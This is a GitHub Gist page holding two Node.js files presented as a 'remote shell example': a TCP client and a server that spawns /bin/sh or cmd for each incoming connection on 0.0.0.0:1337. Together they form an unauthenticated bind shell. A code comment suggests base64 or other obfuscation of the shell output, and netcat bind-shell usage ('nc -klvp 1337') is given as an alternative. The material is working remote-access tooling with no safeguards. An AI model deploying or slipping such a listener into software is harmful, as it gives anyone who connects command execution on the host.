Last active
February 19, 2023 21:19
-
-
Save roccomuso/123b5d1ee82b80c1ede0d9c9a1509767 to your computer and use it in GitHub Desktop.
Node.js remote shell example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require('net') | |
var readline = require('readline') | |
/** | |
* @class Client | |
* @param host {String} the host | |
* @param post {Integer} the port | |
*/ | |
function Client (host, port) { | |
this.host = host | |
this.port = port | |
} | |
/** | |
* @method connect | |
* connect the client to the srv | |
*/ | |
Client.prototype.connect = function (cb) { | |
// create readline interface | |
var rl = readline.createInterface(process.stdin, process.stdout) | |
var self = this | |
// create TCP client | |
var client = net.connect({host: this.host, port: this.port}, function () { | |
// write out connection details | |
console.log('Connected to %s:%d\n', self.host, self.port) | |
rl.on('line', function (d) { | |
// send data to through the client to the host | |
client.write(d.trim() + '\n') | |
}) | |
client.on('data', function (d) { | |
// pause to prevent more data from coming in | |
process.stdin.pause() | |
// write out the data | |
process.stdout.write(d.toString()) | |
process.stdin.resume() | |
}) | |
client.on('close', function () { | |
// stop input | |
process.stdin.pause() | |
// end readline | |
process.stdout.write('\nconnection closed by foreign host.\n') | |
rl.close() | |
}) | |
rl.on('SIGINT', function () { | |
// stop input | |
process.stdin.pause() | |
process.stdout.write('\nending session\n') | |
rl.close() | |
// close connection | |
client.end() | |
}) | |
if (cb) cb(client, rl, process.stdin, process.stdout) | |
}) | |
} | |
/** | |
* @function createClient | |
* creates a new client | |
*/ | |
module.exports = Client | |
if (!module.parent) { | |
new Client(process.argv[2], process.argv[3]) // <host> <port> | |
.connect() | |
} | |
/* | |
# $ node Client.js localhost 1337 | |
# Or use Netcat: | |
$ $ nc localhost 1337 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var spawn = require('child_process').spawn | |
var net = require('net') | |
var server = net.createServer(function (socket) { | |
console.log('New connection!') | |
var sh = (process.platform === 'win32') ? spawn('cmd') : spawn('/bin/sh') | |
sh.stdin.resume() | |
sh.stdout.on('data', function (data) { | |
// Node makes async stuff easy. | |
// You can do cool things like: | |
// socket.write(Base64_encode(data)); | |
// or any other encoding/obfuscation | |
// for that matter. | |
socket.write(data) | |
}) | |
sh.stderr.on('data', function (data) { | |
socket.write(data) | |
}) | |
socket.on('data', function (data) { | |
sh.stdin.write(data) | |
}) | |
socket.on('end', function () { | |
console.log('Connection end.') | |
}) | |
socket.on('timeout', function () { | |
console.log('Connection timed out') | |
}) | |
socket.on('close', function (hadError) { | |
console.log('Connection closed', hadError ? 'because of a conn. error' : 'by client') | |
}) | |
}) | |
server.listen(1337, '0.0.0.0') | |
/* | |
# Or use Netcat bindshell: | |
$ nc -klvp 1337 | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
What use is there in this?